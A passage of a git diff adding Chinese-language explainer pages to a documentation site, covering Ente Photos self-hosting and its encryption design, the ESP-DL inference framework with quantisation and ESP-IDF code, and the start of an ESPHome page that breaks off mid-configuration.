+  use_path_style_urls: true   # MinIO 需要 path-style
+  b2-eu-cen:
+    key: minioadmin
+    secret: minioadmin
+    endpoint: 192.168.1.100:3200   # 勿用 localhost，除非客户端与服务器同机
+    region: eu-central-2
+    bucket: b2-eu-cen
+```
+
+改完后 `docker compose up -d` 重启。若前面有 [[nginx]] 反代 HTTPS，将 `are_local_buckets` 设为 `false` 并配置外部 `endpoint`（如 `s3.example.com`）。
+
+### 示例 3：自托管环境的 Ente CLI
+
+CLI 不能注册新用户，但可登录已有账号、导出明文备份、管理订阅配额：
+
+```yaml
+# ~/.ente/config.yaml
+endpoint:
+  api: https://photos.example.com   # 你的 Museum 地址
+```
+
+```bash
+ente account add
+# 按提示登录；导出目录用于解密后的本地备份
+
+# 自托管管理员给某用户「无限容量」（须在 museum.yaml 白名单 admin 邮箱）
+ente admin update-subscription \
+  -a admin@example.com \
+  -u user@example.com \
+  --no-limit
+```
+
+### 示例 4：用 libsodium 理解「上传前加密」伪代码
+
+Ente 真实实现分布在 Flutter/TS 客户端，但层级与官方 [architecture/README.md](https://github.com/ente-io/ente/blob/main/architecture/README.md) 一致。下面用 Node [`libsodium-wrappers`](https://www.npmjs.com/package/libsodium-wrappers) 演示**核心思想**（教学用，非生产代码）：
+
+```javascript
+import _sodium from 'libsodium-wrappers'
+
+await _sodium.ready
+const sodium = _sodium
+
+// 注册时：生成 masterKey，用密码派生的 key 加密后上传服务器
+const masterKey = sodium.crypto_secretbox_keygen()
+const salt = sodium.randombytes_buf(sodium.crypto_pwhash_SALTBYTES)
+const keyEncryptionKey = sodium.crypto_pwhash(
+  32,
+  'user-password',
+  salt,
+  sodium.crypto_pwhash_OPSLIMIT_SENSITIVE,
+  sodium.crypto_pwhash_MEMLIMIT_SENSITIVE,
+  sodium.crypto_pwhash_ALG_ARGON2ID13,
+)
+const nonce = sodium.randombytes_buf(sodium.crypto_secretbox_NONCEBYTES)
+const encryptedMasterKey = sodium.crypto_secretbox_easy(
+  masterKey,
+  nonce,
+  keyEncryptionKey,
+)
+
+// 上传照片：fileKey 加密明文，再用 collectionKey 包 fileKey
+const fileKey = sodium.crypto_secretbox_keygen()
+const collectionKey = sodium.crypto_secretbox_keygen()
+const photoBytes = new TextEncoder().encode('JPEG bytes…')
+const fileNonce = sodium.randombytes_buf(sodium.crypto_secretbox_NONCEBYTES)
+const ciphertext = sodium.crypto_secretbox_easy(photoBytes, fileNonce, fileKey)
+const wrappedFileKey = sodium.crypto_secretbox_easy(fileKey, fileNonce, collectionKey)
+
+// 只有 ciphertext + wrappedFileKey + 加密元数据 上传 Museum/S3
+// 服务器无法从 ciphertext 反推 photoBytes
+```
+
+要点：**明文 photoBytes 与 masterKey 从不离开受信客户端**；服务器只见 `ciphertext` 和一堆被包装的密钥材料。
+
+## 实践案例
+
+### 案例 1：从 Google Photos 迁到 Ente Photos
+
+1. 在 [Google Takeout](https://takeout.google.com) 导出相册（可选 ZIP）
+2. 安装 Ente 桌面端或打开 Web，登录 ente.com 或自建实例
+3. 设置 → Import → 选择 Google Takeout / Apple Photos / Amazon Photos 等向导
+4. 开启「备份所选相册」：新照片后台自动上传，原画质保留 EXIF、Live Photo
+
+迁移期间 Ente 在本地加密后再传，Google 侧导出的是明文，注意导出链接的有效期和磁盘空间。
+
+### 案例 2：家庭相册协作
+
+创建相册 → 邀请家人邮箱 → 对方接受后可用 Ente 查看/往相册加图。协作权限在加密层通过分享 `collectionKey` 实现，不是服务器侧「开文件夹权限」。见面前可对照双方 App 里的 **Verification ID**，确认公钥未被替换。
+
+### 案例 3：2FA 从 Authy 迁到 Ente Auth
+
+Authy 停服或闭源后，Ente Auth 提供带云备份的开源 2FA。扫码添加令牌后，`tokenKey` 层级加密同步；换机时同 Photos 一样用邮箱 + 密码恢复 **masterKey**，再解密令牌库。
+
+## 踩过的坑
+
+**自建 `localhost` 端点**：上文已述，手机上传失败优先查 `museum.yaml` 的 S3 `endpoint` 和 CORS。
+
+**删掉 `my-ente` 文件夹不等于删数据**：Docker volume 仍在；要彻底重来用 `docker compose down --volumes`，**会永久删除照片**。
+
+**丢失 `museum.yaml` 与 recoveryKey**：加密数据在卷里但无法解密元数据路由；务必备份自动生成的凭证和注册时保存的 **recoveryKey**。
+
+**AGPL 自建分发**：修改 Museum 并提供网络服务时，需按 AGPL 开源修改；内部自用风险较低，商用需读许可证。
+
+**自托管支持优先级**：官方文档写明工程带宽有限，Issue 里纯自建问题可能不被优先处理；社区 [Discussions](https://github.com/ente-io/ente/discussions) / Discord 互助更现实。
+
+**语义搜索 / ML**：部分智能功能在设备端或受 E2EE 约束的方式实现，与 Google Photos 全知全能的云端 ML 不同，预期要调整。
+
+## 与同类方案对比
+
+| 维度 | Ente Photos | Immich | Google Photos |
+|------|-------------|--------|---------------|
+| E2EE / 零知识 | ✅ 默认 | ❌ 服务器可读 | ❌ |
+| 开源 | ✅ AGPL | ✅ AGPL | ❌ |
+| 自建 | ✅ Museum | ✅ | ❌ |
+| 云端 ML 人脸/物体 | 设备端/受限 | ✅ 服务端 | ✅ |
+| 最低自建 RAM | ~1GB 级 | 常需 2GB+ | N/A |
+
+若你最在意**服务商看不到原图**，Ente 几乎是主流相册里唯一把 E2EE 当一等公民的；若最在意**自建上的 AI 相册管理**，[[immich]] 更合适。二者可并存：敏感相册 Ente，实验性图库 Immich。
+
+## 历史小故事
+
+- **2022-11**：`ente-io/ente` 单体仓库公开，以 Photos 为主打
+- **2023-2024**：Ente Auth 随 Authy 动荡而增长；密码学架构文档与 Cure53 审计公开
+- **2025-2026**：Ente Locker、公开相册独立端口、quickstart 脚本降低自建门槛；GitHub star 逾 2.7 万
+- 团队把 API 服务器命名为 **Museum**——「个人照片比任何艺术品都珍贵」，却只需一个 Go 二进制就能运行
+
+## 学到什么
+
+- **密钥层级**比「整库一个密码」更安全：单文件 fileKey 泄露不拖垮整个账户；轮换 collectionKey 时可细粒度重加密
+- **预签名直传**是零知识云的标配：Museum 不碰密文 bytes，才能证明「服务器没看到内容」
+- **libsodium 高级 API** 比手写 AES 模式靠谱：`crypto_secretstream` 处理大文件，`crypto_box_seal` 处理分享
+- **协议兼容对象存储**（S3）让 Ente 自建成本与 [[minio]] / R2 绑定，不必锁定某一家云
+- **一个盲态 API 多种产品**：Auth、Locker、Photos 共用 Museum，是平台型 E2EE 的正确切法
+
+## 延伸阅读
+
+- 官方架构说明：[ente.com/architecture](https://ente.com/architecture) / [GitHub architecture/README.md](https://github.com/ente-io/ente/blob/main/architecture/README.md)
+- 自建指南：[ente.com/help/self-hosting](https://ente.com/help/self-hosting)
+- Museum 运行文档：[server/RUNNING.md](https://github.com/ente-io/ente/blob/main/server/RUNNING.md)
+- 密码学审计博文：[ente.com/blog/cryptography-audit](https://ente.com/blog/cryptography-audit/)
+- 可靠性（三云复制）：[ente.com/reliability](https://ente.com/reliability)
+
+## 关联
+
+- [[minio]] —— Ente 自建默认 bundled MinIO；生产可换任意 S3 兼容后端
+- [[bitwarden-server]] —— 同为「客户端加密 + 服务端盲存」范式，可对比密钥派生与微服务拆分
+- [[nextcloud-server]] —— 传统自建网盘路线；默认非 E2EE，与 Ente 定位互补
+- [[docker]] —— Museum 官方推荐 Docker Compose 部署路径
+
+## 反向链接
+
+<!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
diff --git a/src/content/docs/projects/envoy.md b/src/content/docs/projects/envoy.md
index ec0eaf042..94afa9eb4 100644
--- a/src/content/docs/projects/envoy.md
+++ b/src/content/docs/projects/envoy.md
@@ -2,7 +2,7 @@
 title: Envoy — 把网络通信从业务代码里抠出来的代理进程
 来源: 'https://github.com/envoyproxy/envoy'
 日期: 2026-05-30
-子分类: Web 后端
+子分类: cloud-native
 分类: 后端 API
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/esbuild.md b/src/content/docs/projects/esbuild.md
index 1410f5153..6fa656a39 100644
--- a/src/content/docs/projects/esbuild.md
+++ b/src/content/docs/projects/esbuild.md
@@ -172,6 +172,7 @@ const svgInline: Plugin = {
 
 - [[biome]] —— Biome — JS/TS 工具链一体化（Rust 写的 linter+formatter）
 - [[bun]] —— Bun — JS 全能运行时
+- [[glslify]] —— glslify — Browserify 风格 GLSL 模块
 - [[hardhat]] —— Hardhat — Nomic Foundation 的 JS 合约框架
 - [[jest]] —— Jest — 一个包就能跑 JS 测试的全家桶
 - [[lightningcss]] —— lightningcss — 用 Rust 把 CSS 工具链一遍跑完的编译器
diff --git a/src/content/docs/projects/esp-dl.md b/src/content/docs/projects/esp-dl.md
new file mode 100644
index 000000000..97d2867dc
--- /dev/null
+++ b/src/content/docs/projects/esp-dl.md
@@ -0,0 +1,307 @@
+---
+title: ESP-DL — 乐鑫芯片上的「袖珍 AI 放映机」
+来源: 'https://github.com/espressif/esp-dl'
+日期: '2026-06-13'
+子分类: 嵌入式
+分类: 操作系统
+难度: '中级'
+provenance: 'pipeline-v3'
+---
+
+## 是什么
+
+**ESP-DL** 是乐鑫（Espressif）为 **ESP32 / ESP32-S3 / ESP32-P4** 等 SoC 打造的**轻量级神经网络推理框架**。源码托管在 [espressif/esp-dl](https://github.com/espressif/esp-dl)，基于 **ESP-IDF** 构建，可与 `esp-detect`、`esp-sr` 等乐鑫 SDK 无缝集成。
+
+日常类比：**云端 ChatGPT vs 口袋里的翻译卡片**。
+
+你在 PC 上用 PyTorch 训练模型，就像在一间大图书馆里写论文——算力足、内存大、随便改稿。但 ESP32 芯片更像你出国时揣在兜里的一张**预制翻译卡片**：卡片上早就印好了常用句子的「答案表」（量化权重），设备运行时只做**查表 + 简单算术**，不会在口袋里重新学一门语言。ESP-DL 就是负责「读卡片、按步骤查表、把结果递给你」的那套机制；配套的 **ESP-PPQ** 则是「把大图书馆里的论文压缩成卡片」的印刷厂。
+
+和通用推理引擎（如 [[tflite-micro]]、ONNX Runtime）相比，ESP-DL **深度绑定乐鑫硬件**：利用 ESP32-S3 / P4 的 **PIE（Processor Instruction Extensions）** 指令扩展、双核调度、内部 RAM / PSRAM 分层规划，在同等芯片上通常比「通用运行时 + 通用内核」更省内存、更快。
+
+## 解决什么问题
+
+| 痛点 | 通用方案 | ESP-DL 的回应 |
+| --- | --- | --- |
+| Flash / RAM 极小 | 浮点模型 + 动态分配 | **`.espdl` 量化格式** + **静态内存规划器**，启动前就算好每层放哪 |
+| 量化部署复杂 | 手动调 TFLite / ONNX 量化参数 | **ESP-PPQ** 一键从 ONNX / PyTorch / TF 导出 `.espdl` |
+| 算子与芯片不匹配 | 通用 CMSIS-NN，未针对 ESP 优化 | **56+ ONNX 对齐算子**，Conv / Gemm 等有 PIE 加速 |
+| 双核浪费 | 单线程推理 | **Conv2D / DepthwiseConv2D 自动双核调度** |
+| 激活函数慢 | 逐元素 exp / sigmoid | 除 ReLU / PReLU 外，**8bit LUT** 查表，复杂度恒定 |
+| 上板后难调试 | 只能 printf 猜 | 内置 **`test()` / `profile()`** 内存与逐层延迟分析 |
+
+典型场景：人脸检测、行人检测、MobileNet 分类、YOLO11n 目标检测、手势识别、说话人验证——都是**本地、低延迟、常开**的 AIoT 任务。
+
+## 核心概念
+
+### 1. 推理-only：训练在 PC，芯片只「放映 .espdl」
+
+ESP-DL **不支持设备端训练**。标准链路：
+
+```
+PyTorch / TF 训练 → 转 ONNX → ESP-PPQ 量化 → model.espdl → ESP-IDF 固件加载 → model->run()
+```
+
+设备不理解反向传播，只理解一张静态计算图。类比：DVD 机只播放刻录好的光盘，不会在播放时现拍电影。
+
+### 2. `.espdl` 标准模型格式
+
+`.espdl` 类似 ONNX，但用 **FlatBuffers** 替代 Protobuf：
+
+- 更轻量，适合嵌入式
+- 支持 **zero-copy 反序列化**（Flash 里直接映射，少拷贝）
+- 可用 [Netron](https://netron.app/) 可视化调试（2026 起支持）
+
+文件内包含：计算图结构、量化权重、（可选）内嵌测试输入/输出。
+
+### 3. `dl::Model`：加载 + 规划 + 运行
+
+`dl::Model` 是推理入口，典型生命周期：
+
+| 阶段 | API | 作用 |
+| --- | --- | --- |
+| 构造 / load | `new dl::Model(...)` | 从 rodata / 分区 / SD 卡加载 `.espdl` |
+| build | `build(max_internal_size)` | **静态内存规划器**分配中间张量 |
+| run | `run()` / `run(input)` | 执行前向推理 |
+| 验证 | `test()` | 与模型内嵌 golden output 对比 |
+| 分析 | `profile()` | 打印内存占用 + 逐层延迟 |
+
+### 4. `dl::TensorBase`：张量与量化
+
+张量通过 `get_inputs()` / `get_outputs()` 取得。量化模型输入为 `int8_t` / `int16_t`，需按 `exponent` 做 **quantize / dequantize**：
+
+\[
+Q = \text{Clip}(\text{Round}(R / 2^{exp})), \quad R' = Q \times 2^{exp}
+\]
+
+框架提供 `dl::quantize<>()`、`dl::dequantize()` 和 `TensorBase::assign()` 简化批量转换。
+
+**注意**：中间结果与输入/输出**共享一块内存**，推理完成后 `model_input` 的数据可能被后续层覆盖——读结果要趁 `run()` 刚结束，或拷贝到自己的 buffer。
+
+### 5. 静态内存规划器（Greedy Memory Manager）
+
+ESP 芯片有 **内部 SRAM**（快、小）和 **PSRAM**（大、慢）。构造 `Model` 时可传 `max_internal_size`：
+
+- 规划器把「热层」尽量放进内部 RAM
+- 其余层中间张量放 PSRAM
+- 目标：在 RAM 预算内最大化速度
+
+`param_copy` 控制权重是否从 Flash 拷贝到 RAM：**false** 省内存但读 Flash 慢；**true**（默认）更快。
+
+### 6. 双核与 PIE 加速
+
+- **双核**：`RUNTIME_MODE_AUTO` 下，Conv2D / DepthwiseConv2D 可自动拆到两个 CPU 核
+- **PIE**：ESP32-S3 / P4 的 SIMD 类扩展，Conv / Gemm 走优化汇编路径
+- **8bit LUT**：Sigmoid、Tanh 等激活统一查表，换激活函数不增加算力成本
+
+### 7. ESP-PPQ：量化工具链
+
+[ESP-PPQ](https://pypi.org/project/esp-ppq/) 基于 PPQ，推荐 ONNX **opset 18** 导出。支持：
+
+- 从 ONNX 直接量化
+- PyTorch / TensorFlow 先转 ONNX
+- **AutoQuant / espdl-quantize skill** 自动搜索量化策略（2026 新特性）
+- Per-channel 量化（Conv / Gemm，ESP-PPQ ≥ 1.2.10 + ESP-DL ≥ 3.3.1）
+
+## 端到端工作流
+
+1. **确认算子**：对照 [operator_support_state.md](https://github.com/espressif/esp-dl/blob/master/operator_support_state.md)
+2. **PC 量化**：`pip install esp-ppq`，运行量化脚本得到 `model.espdl`
+3. **嵌入固件**（三选一）：
+   - **rodata 嵌入**：最简单，改代码会重烧模型
+   - **独立分区**：`partition.csv` + `esptool_py_flash_to_partition`，可 `idf.py app-flash` 只烧 app
+   - **SD 卡**：Flash 不够或需频繁换模型时
+4. **C++ 加载推理**：`dl::Model` → 填输入 → `run()` → 读输出
+5. **上板验证**：`model->test()` → `model->profile()` 查内存与瓶颈层
+
+## 代码示例一：PC 端用 ESP-PPQ 量化 ONNX
+
+下列代码展示**最小量化闭环**（具体 API 以你安装的 esp-ppq 版本文档为准；逻辑来自官方 MobileNet / 通用量化教程）：
+
+```python
+# quantize_onnx.py — 在 PC 上把 ONNX 转成 .espdl
+import glob
+import numpy as np
+from esp_ppq import QuantizationSettingFactory
+from esp_ppq.api import espdl_export, quantize_onnx_model
+
+ONNX_PATH = "mobilenet_v2.onnx"
+ESPDL_PATH = "mobilenet_v2.espdl"
+CALIB_DIR = "./calib_images"  # 100~500 张代表性图片即可
+
+# 1. 构造量化配置（8bit 权值 + 激活，具体 flags 见 esp-ppq 文档）
+setting = QuantizationSettingFactory.default_setting()
+setting.quantize_activation = True
+setting.quantize_parameter = True
+
+# 2. 准备校准数据：NHWC uint8 或 float，shape 与模型输入一致
+def load_calib_batch():
+    images = []
+    for path in sorted(glob.glob(f"{CALIB_DIR}/*.jpg"))[:200]:
+        img = preprocess(path)  # resize + normalize，与训练一致
+        images.append(img)
+    return np.stack(images, axis=0)
+
+calib_data = load_calib_batch()
+
+# 3. 量化并导出 .espdl（可设 export_test_values=True 便于上板 test()）
+quantized = quantize_onnx_model(
+    onnx_import_file=ONNX_PATH,
+    calib_dataloader=calib_data,
+    calib_steps=32,
+    setting=setting,
+    input_shape=[1, 3, 224, 224],
+    target="esp32s3",  # 或 esp32p4，影响模拟与内核选择
+)
+
+espdl_export(
+    graph=quantized,
+    export_path=ESPDL_PATH,
+    export_test_values=True,  # 部署时可关掉以减小体积
+)
+
+print(f"Exported → {ESPDL_PATH}")
+```
+
+量化前务必确认 ONNX 里每个算子都在 ESP-DL 支持列表中，否则要在 PC 端改图或等社区贡献算子。
+
+## 代码示例二：ESP-IDF 设备端加载与推理
+
+### CMakeLists：把模型嵌进 rodata
+
+```cmake
+# 放在 idf_component_register 之前
+idf_build_get_property(component_targets __COMPONENT_TARGETS)
+if ("___idf_espressif__esp-dl" IN_LIST component_targets)
+   idf_component_get_property(espdl_dir espressif__esp-dl COMPONENT_DIR)
+elseif("___idf_esp-dl" IN_LIST component_targets)
+   idf_component_get_property(espdl_dir esp-dl COMPONENT_DIR)
+endif()
+set(cmake_dir ${espdl_dir}/fbs_loader/cmake)
+include(${cmake_dir}/utilities.cmake)
+set(embed_files models/mobilenet_v2.espdl)
+
+idf_component_register(SRCS "main.cpp" INCLUDE_DIRS "." REQUIRES esp-dl)
+
+target_add_aligned_binary_data(${COMPONENT_LIB} ${embed_files} BINARY)
+```
+
+### main.cpp：推理主循环
+
+```cpp
+#include "dl_model_base.hpp"
+#include "esp_log.h"
+
+static const char *TAG = "esp-dl-demo";
+
+// CMake 嵌入后生成的符号：_binary_<文件名>_start
+extern const uint8_t mobilenet_v2_espdl[] asm("_binary_mobilenet_v2_espdl_start");
+
+extern "C" void app_main(void)
+{
+    // 1. 加载模型：Flash rodata，限制内部 RAM 64KB，贪心规划器
+    dl::Model *model = new dl::Model(
+        (const char *)mobilenet_v2_espdl,
+        fbs::MODEL_LOCATION_IN_FLASH_RODATA,
+        64 * 1024,                    // max_internal_size
+        dl::MEMORY_MANAGER_GREEDY);
+
+    // 2. 上板自检（需 export_test_values=True 导出的模型）
+    ESP_ERROR_CHECK(model->test());
+
+    // 3. 取输入/输出张量
+    dl::TensorBase *input = model->get_inputs().begin()->second;
+    dl::TensorBase *output = model->get_outputs().begin()->second;
+
+    // 4. 准备 float 图像并量化写入（示例：单张 224x224 RGB）
+    std::vector<float> image = load_and_preprocess("/sdcard/test.jpg");
+    dl::TensorBase *float_in = new dl::TensorBase(
+        input->shape, image.data(), image.size(), dl::DATA_TYPE_FLOAT);
+    input->assign(float_in);  // 内部按 exponent 量化到 int8
+
+    // 5. 推理（双核自动）
+    model->run(dl::RUNTIME_MODE_AUTO);
+
+    // 6. 反量化读结果
+    dl::TensorBase *float_out = new dl::TensorBase(
+        output->shape, nullptr, 0, dl::DATA_TYPE_FLOAT);
+    float_out->assign(output);
+    int top1 = argmax(float_out);
+    ESP_LOGI(TAG, "Top-1 class id = %d", top1);
+
+    // 7. 性能分析（开发阶段）
+    model->profile(true);  // true = 按延迟从高到低排序
+
+    delete float_in;
+    delete float_out;
+    delete model;
+}
+```
+
+若模型较大、开发迭代频繁，改用 **partition 加载**：
+
+```cpp
+dl::Model *model = new dl::Model("model", fbs::MODEL_LOCATION_IN_FLASH_PARTITION);
+```
+
+配合 `partition.csv` 里名为 `model` 的分区，可用 `idf.py app-flash` 避免每次重烧模型。
+
+## Model Zoo 与生态
+
+仓库 [models/](https://github.com/espressif/esp-dl/tree/master/models) 提供预量化组件，开箱即用：
+
+| 模型 | 任务 |
+| --- | --- |
+| human_face_detect / recognize | 人脸检测与识别 |
+| coco_detect (YOLO11n) | COCO 目标检测 |
+| yolo11n-pose | 姿态估计 |
+| ESPDet-Pico | 猫 / 狗 / 手等轻量检测 |
+| mobilenet_v2 | ImageNet 分类 |
+| speaker_verification (x-vector) | 说话人验证 |
+
+可与 [esp-detection](https://github.com/espressif/esp-detection) 训练自定义 ESPDet-Pico 检测器，再导出 `.espdl`。
+
+## 与 TensorFlow Lite Micro 怎么选
+
+| 维度 | ESP-DL | TFLM |
+| --- | --- | --- |
+| 芯片绑定 | **乐鑫 ESP 专用** | 跨 MCU 通用 |
+| 模型格式 | `.espdl`（FlatBuffers） | `.tflite` |
+| 量化工具 | ESP-PPQ | TFLite Converter / PTQ 脚本 |
+| ESP-IDF 集成 | 原生组件 `espressif/esp-dl` | 常用 `esp-tflite-micro` + ESP-NN |
+| 调试 API | 内置 test / profile | 需自行计时、无 golden test |
+| 适合谁 | 已选 ESP32 系列、想用官方 Model Zoo | 已有 TFLite 模型、或多平台复用 |
+
+两者可以共存于不同项目，但**同一产品通常只选一条栈**，避免维护双份量化流程。
+
+## 常见问题
+
+**Q：加载失败 / 算子不支持？**  
+对照 operator 支持表；用 Netron 打开 ONNX 和 `.espdl` 对比算子名；opset 建议 18。
+
+**Q：`test()` 失败？**  
+确认导出时 `export_test_values=True`；INT16 模型允许 ±1 量化误差；检查输入预处理是否与校准一致。
+
+**Q：推理慢 / RAM 爆？**  
+调 `max_internal_size` 和 `param_copy`；`profile(true)` 找最慢层；大图模型用 PSRAM 芯片（ESP32-S3 N8R8 等）。
+
+**Q：每次改代码都要烧完整固件？**  
+大模型用 **partition** 或 **SD 卡** 加载；开发时用 `idf.py app-flash`。
+
+**Q：v2 模型能用在 v3 吗？**  
+ESP-DL v3 与 v2 **不兼容**；v3.1 之后 schema 有更新，旧 `.espdl` 需重新量化导出。
+
+## 学习路径（零基础）
+
+1. 装好 **ESP-IDF v5.3+** 与 USB 驱动，跑通 `idf.py build flash monitor`
+2. 用 Component Registry 添加 `espressif/esp-dl`，编译官方 **examples/** 里最简单例程
+3. 在 PC 安装 `esp-ppq`，跟 [how_to_deploy_mobilenetv2](https://docs.espressif.com/projects/esp-dl/en/latest/tutorials/how_to_deploy_mobilenetv2.html) 走一遍量化
+4. 对自己模型：`test()` 通过后再调 `profile()`，迭代 `max_internal_size`
+5. 需要检测/分类成品：优先翻 **Model Zoo**，改输入源（摄像头 / 麦克风）而非从零训练
+
+## 参考链接
+
+- 仓库：<https://github.com/espressif/esp-dl>
+- 文档：<https://docs.espressif.com/projects/esp-dl/en/latest/>
+- 组件注册表：<https://components.espressif.com/components/espressif/esp-dl>
+- 算子支持表：<https://github.com/espressif/esp-dl/blob/master/operator_support_state.md>
+- ESP-PPQ：<https://pypi.org/project/esp-ppq/>
diff --git a/src/content/docs/projects/esphome.md b/src/content/docs/projects/esphome.md
new file mode 100644
index 000000000..24644c470
--- /dev/null
+++ b/src/content/docs/projects/esphome.md
@@ -0,0 +1,357 @@
+---
+title: ESPHome — 用 YAML 给 ESP 芯片写「说明书」的固件工厂
+来源: 'https://github.com/esphome/esphome'
+日期: '2026-06-13'
+子分类: 嵌入式
+分类: 操作系统
+难度: 初级
+provenance: pipeline-v3
+---
+
+## 日常类比：给电工一张「接线清单」，工厂自动造遥控器
+
+想象你要在阳台装一个温湿度计，顺便控制除湿机开关。传统做法是：
+
+1. 买一块 ESP32 开发板；
+2. 打开 Arduino IDE，写 C++，调 Wi-Fi 库、MQTT 库、传感器驱动；
+3. 烧录、改 bug、再烧录；
+4. 最后在 Home Assistant 里手动建实体、对 MQTT 主题。
+
+**ESPHome 换了一种思路**：你不写程序，只写一份 **YAML「接线清单」**——「D4 脚接 DHT22，每 60 秒读一次温湿度；GPIO5 接一个开关，名字叫阳台除湿机」。ESPHome 把这份清单 **编译成定制固件**，刷进芯片；设备连上 Wi-Fi 后，通过 **Native API** 主动推状态给 [[home-assistant]]，实体自动出现在仪表盘里。
+
+类比延伸：
+
+| 现实世界 | ESPHome 对应 |
+| --- | --- |
+| 接线图 + 功能说明 | `.yaml` 配置文件 |
+| 工厂按图生产电路板 | `esphome compile` 生成固件 |
+| 第一次 USB 装机 | 首次 `esphome run` / Web Flasher |
+| 以后远程换程序 | OTA（Over-The-Air）无线更新 |
+| 物业前台登记设备 | Home Assistant 自动发现 / 添加 ESPHome 集成 |
+
+ESPHome 由 Home Assistant 生态团队（Nabu Casa / Open Home Foundation）维护，GitHub 仓库 [esphome/esphome](https://github.com/esphome/esphome)。它 **不依赖云端**：配置、编译、运行都在你的局域网；和 [[home-assistant]] 是「黄金搭档」，也可单独用 CLI 或 Docker 管理节点。
+
+---
+
+## 解决什么问题
+
+| 痛点 | 裸写嵌入式时 | ESPHome 的回应 |
+| --- | --- | --- |
+| 开发门槛高 | C++、内存、看门狗、Wi-Fi 重连都要自己管 | 声明式 YAML，框架生成样板代码 |
+| 与 HA 对接繁琐 | 自建 MQTT 主题、Discovery、加密 | Native API 推送，实体自动注册 |
+| 维护成本高 | 改一行逻辑要重新熟悉整个 sketch | 改 YAML → 编译 → OTA，版本可 Git 管理 |
+| 硬件碎片化 | 每种传感器 copy 一份驱动代码 | 600+ 组件，统一配置语法 |
+| 密钥泄露风险 | Wi-Fi 密码写死在仓库里 | `secrets.yaml` + `!secret` 标签 |
+
+核心问题：**如何用一份人类可读的配置，把廉价 MCU（ESP32/ESP8266/BK72xx/RP2040 等）变成可 OTA、可本地集成、可长期维护的智能家居节点？**
+
+---
+
+## ESPHome 在智能家居栈中的位置
+
+```
+┌─────────────────────────────────────────────────────────────┐
+│  Home Assistant Core — 自动化、仪表盘、语音                  │
+│         ▲ Native API（加密、推送，默认端口 6053）              │
+├─────────┴───────────────────────────────────────────────────┤
+│  ESPHome 节点（每块板子一份 YAML → 一份固件）                 │
+│  ┌─────────┐  ┌─────────┐  ┌─────────┐                      │
+│  │ 温湿度   │  │ 继电器   │  │ 毫米波   │  …                  │
+│  │ ESP32   │  │ ESP8266 │  │ ESP32-C3│                      │
+│  └────┬────┘  └────┬────┘  └────┬────┘                      │
+│       │ 传感器/执行器/GPIO/I2C/SPI/UART                       │
+└───────┴───────────────────────────────────────────────────────┘
+
+侧路工具链：
+  ESPHome Device Builder（HA 加载项 / Docker Web UI）
+  CLI：`esphome run`、`compile`、`upload`、`logs`
+  浏览器首次刷机：web.esphome.io
+```
+
+与 [[openhab]]、[[home-assistant]] 等「中枢」不同，ESPHome 专注 **边缘节点固件**。中枢负责编排；ESPHome 负责让 **单块板子** 可靠地上报状态、执行开关动作。
+
+---
+
+## 核心概念
+
+### 1. 配置（Configuration）与节点（Node）
+
+- **一份 YAML = 一个节点**（一台物理板子）。文件名常叫 `porch-sensor.yaml`，其中 `esphome.name` 决定主机名（如 `porch-sensor.local`）。
+- 配置由多个 **顶层块** 组成：`esphome`、`esp32`/`esp8266`、`wifi`、`logger`、`api`、`ota`，以及 `sensor`、`switch`、`binary_sensor` 等 **组件块**。
+- 块顺序通常 **不影响语义**；ESPHome 先读完整个文件再校验、生成代码。
+
+### 2. 平台（Platform）与板型（Board）
+
+- **Platform**：芯片系列，如 `esp32:`、`esp8266:`。
+- **Board**：具体开发板型号，如 `esp32dev`、`nodemcuv2`，影响默认引脚映射（可写 `D1` 代替 `GPIO5`）。
+- 近年还支持 BK72xx、RP2040、RTL87xx、nRF52 等；选型以 [官方支持列表](https://esphome.io/) 为准。
+
+### 3. 组件（Component）与实体（Entity）
+
+- **Component**：YAML 里的一种设备抽象，例如 `sensor`、`switch`、`light`、`climate`。
+- 每个组件下用 **platform** 指定驱动，如 `platform: dht`、`platform: gpio`。
+- 带 `name:` 的条目会在 Home Assistant 里变成 **实体**（如 `sensor.porch_temperature`）。
+
+### 4. 基础设施块（几乎每个项目都要有）
+
+| 块 | 作用 |
+| --- | --- |
+| `wifi` | SSID、密码、可选 AP 热点、`captive_portal` |
+| `logger` | 串口 / 网络日志，调试生命线 |
+| `api` | Home Assistant Native API；建议开 `encryption.key` |
+| `ota` | 无线刷机；可设密码或复用 API 加密 |
+| `web_server` | 可选，板载简易网页 |
+
+### 5. 编译与烧录流程
+
+1. **validate**：检查 YAML 语法、引脚冲突、组件依赖。
+2. **compile**：生成 C++ 工程并用 PlatformIO 交叉编译。
+3. **upload**：首次常走 USB；之后走 **OTA**。
+4. **logs**：`esphome logs xxx.yaml` 看运行输出。
+
+命令行等价于在 Device Builder 里点 Install / Wirelessly。
+
+### 6. 与 Home Assistant 的对接
+
+- 设备上线且 API 可达后，HA 常通过 **mDNS 自动发现**（`xxx.local`）。
+- 手动添加：设置 → 设备与服务 → ESPHome → 输入 IP 或主机名 + **Noise PSK**（与 YAML 里 `api.encryption.key` 一致）。
+- 通信是 **本地加密长连接**，状态变化 **推送**，不是轮询 MQTT。
+
+### 7. 配置进阶能力
+
+- **`!secret`**：从 `secrets.yaml` 读 Wi-Fi、API 密钥，避免进 Git。
+- **`substitutions`**：全局变量，方便同一模板刷多块板。
+- **`packages:` / `!include`**：拆分大项目、复用片段。
+- **`!lambda`**：嵌入小段 C++，做 YAML 表达不了的逻辑（见下方示例）。
+
+---
+
+## 从零开始：三种入口
+
+| 方式 | 适合谁 | 第一步 |
+| --- | --- | --- |
+| Home Assistant 加载项 | 已跑 HA，想图形化管理 | 安装 **ESPHome Device Builder**，向导新建设备 |
+| CLI | 熟悉终端、CI 批量编译 | `pip install esphome` → `esphome wizard livingroom.yaml` |
+| Docker | 不想污染本机 Python | `docker run ... ghcr.io/esphome/esphome wizard` |
+
+首次烧录：
+
+- **USB**：`esphome run config.yaml`（自动 compile + upload + logs）。
+- **浏览器**：打开 [web.esphome.io](https://web.esphome.io/)，选板型、粘贴 YAML 或导入。
+
+---
+
+## 代码示例一：最小可用节点 + DHT22 温湿度
+
+下面是一份 **完整可编译** 的入门配置：ESP32 连 Wi-Fi，通过 API 对接 HA，每 60 秒读 DHT22。
+
+```yaml
+esphome:
+  name: porch-sensor
+  friendly_name: 阳台环境传感器
+
+esp32:
+  board: esp32dev
+  framework:
+    type: arduino
+
+wifi:
+  ssid: !secret wifi_ssid
+  password: !secret wifi_password
+  ap:
+    ssid: "Porch Fallback"
+    password: !secret ap_password
+
